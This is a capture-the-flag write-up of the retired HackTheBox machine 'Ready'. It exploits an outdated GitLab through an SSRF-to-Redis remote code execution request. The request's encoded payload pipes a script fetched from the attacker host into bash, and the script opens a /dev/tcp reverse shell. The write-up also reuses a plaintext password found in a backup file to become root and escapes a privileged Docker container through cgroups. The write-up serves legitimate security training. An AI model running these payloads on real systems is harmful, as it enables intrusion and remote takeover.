HTB: Ready

Ready card

This is a writeup about a retired HacktheBox machine: Ready published on December 12 2020 by bertolis This box is classified as a medium machine. This box implies an outdated gitlab server, a clear text password in a backup file and a docker container.

User

Recon

We start with an nmap scan. Only port 22 (SSH) and port 5080 (HTTP) are open.

# Nmap 7.91 scan initiated Sun Dec 13 03:40:16 2020 as: nmap -p- -sSV -oN nmap 10.129.29.192
Nmap scan report for 10.129.29.192
Host is up (0.014s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
5080/tcp open  http    nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 13 03:40:48 2020 -- 1 IP address (1 host up) scanned in 31.28 seconds

Web

The HTTP service is once again a gitlab (my latest rooted box is laboratory) server. This time the version is 11.4.7. A Google research "gitlab 11.4.7 exploit" lead us to a blog article about an RCE on gitlab during a CTF

Following the blog exploitation we end up with a request looking like the following and can validate the RCE using a python server on our kalibox.

POST /projects HTTP/1.1
Host: 10.129.29.192:5080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.129.29.192:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 1073
Origin: http://10.129.29.192:5080
Connection: close
Cookie: _gitlab_session=140270c33fe803d8ab11d0f9a85c45cf; sidebar_collapsed=false
Upgrade-Insecure-Requests: 1

utf8=%E2%9C%93&authenticity_token=%2BEHyUYosjkfZlzfMEpR8QFZ%2BWiJMAQQ%2BTiB3Wt%2FNK0fNBNX9EhAKd6VM6okCvVQ0fZ6HxSBzQdo%2Fx4Lfe4nDCw%3D%3D&project%5Bimport_url%5D=git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7C%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%31%38%3a%38%30%30%30%2f%72%65%76%32%2e%73%68%20%7c%20%62%61%73%68%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git&project%5Bci_cd_only%5D=false&project%5Bname%5D=&project%5Bnamespace_id%5D=6&project%5Bpath%5D=ttreqqq139&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0

We can even just manually import a git project using the following "git url": git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Cxxxxxxxxx%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git and replacing the payload xxxxxxxxxxx with our own URL encoded.

We send the following payload curl http://10.10.14.18:8000/rev2.sh | bash.

The content of rev2.sh is the following:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.18/4443 0>&1

We run a netcat listener to catch our reverse shell. We end up with a shell as git that can read the user flag.

kali@kali:~$ nc -l -p 4443
bash: cannot set terminal process group (485): Inappropriate ioctl for device
bash: no job control in this shell
git@gitlab:~/gitlab-rails/working$ id
id
uid=998(git) gid=998(git) groups=998(git)
git@gitlab:/$ find / -name 'user.txt' 2>/dev/null
find / -name 'user.txt' 2>/dev/null
/home/dude/user.txt
git@gitlab:/$ cat /home/dude/user.txt
cat /home/dude/user.txt
e1e30b052b6ec0670698805d745e7682

Root

Enumeration

We enumerate a few file and find the /opt/backup/ directory which contain a few files. The file gitlab.rb contain a smtp password.

git@gitlab:/opt/backup$ grep -i pass gitlab.rb
grep -i pass gitlab.rb
#### Email account password
# gitlab_rails['incoming_email_password'] = "[REDACTED]"
#     password: '_the_password_of_the_bind_user'
#     password: '_the_password_of_the_bind_user'
#   '/users/password',
#### Change the initial default admin password and shared runner registration tokens.
# gitlab_rails['initial_root_password'] = "password"
# gitlab_rails['db_password'] = nil
# gitlab_rails['redis_password'] = nil
    gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
# gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}
##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab`
# postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH'
# postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>`
# redis['password'] = 'redis-password-goes-here'
####! **Master password should have the same value defined in
####!   redis['password'] to enable the instance to transition to/from
# redis['master_password'] = 'redis-password-goes-here'
# geo_secondary['db_password'] = nil
# geo_postgresql['pgbouncer_user_password'] = nil
#     password: PASSWORD
###! generate this with `echo -n '$password + $username' | md5sum`
# pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)'
#     password: MD5_PASSWORD_HASH
# postgresql['pgbouncer_user_password'] = nil

We need an interactive shell to be able to input a password, we use python for that purpose and end up with a shell as root.

git@gitlab:~/gitlab-rails/working$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<orking$ python3 -c 'import pty; pty.spawn("/bin/bash")'
git@gitlab:~/gitlab-rails/working$ su
su
Password: wW59U!ZKMbG9+*#h

root@gitlab:/var/opt/gitlab/gitlab-rails/working# id
id
uid=0(root) gid=0(root) groups=0(root)

Nonetheless we cannot find any root.txt file. As you probably already guess or notice we are in a docker container.

Docker escape

We run deepce: Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE) We use a python server on our kalibox to transfer the script using wget --recursive --no-parent http://10.10.14.18:8000. And we run it.

<SNIP>
[+] Privileged Mode ......... Yes
The container appears to be running in privilege mode, we should be able to access the
raw disks and mount the hosts root partition in order to gain code execution.
See https://stealthcopter.github.io/deepce/guides/docker-privileged.md
<SNIP>

An other quick Google research allow us to find a medium article to learn more about docker's privilege mode with a few command line to execute a command on the system. We just replace the echo "ps aux > $host_path/output" >> /cmd line with echo "cat /root/root.txt > $host_path/output" >> /cmd and grab the root hash.

<SNIP>
root@gitlab:/tmp/.plop# echo "cat /root/root.txt > $host_path/output" >> /cmd
echo "cat /root/root.txt > $host_path/output" >> /cmd
root@gitlab:/tmp/.plop# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@gitlab:/tmp/.plop# cat /output
cat /output
b7f98681505cd39066f67147b103c2b3

Wrapping up

The box is not that hard (less than laboratory) and quit interesting as the exploitation of the gitlab's SSRF and its upgrade to an RCE was really interesting and detailed on the blog article.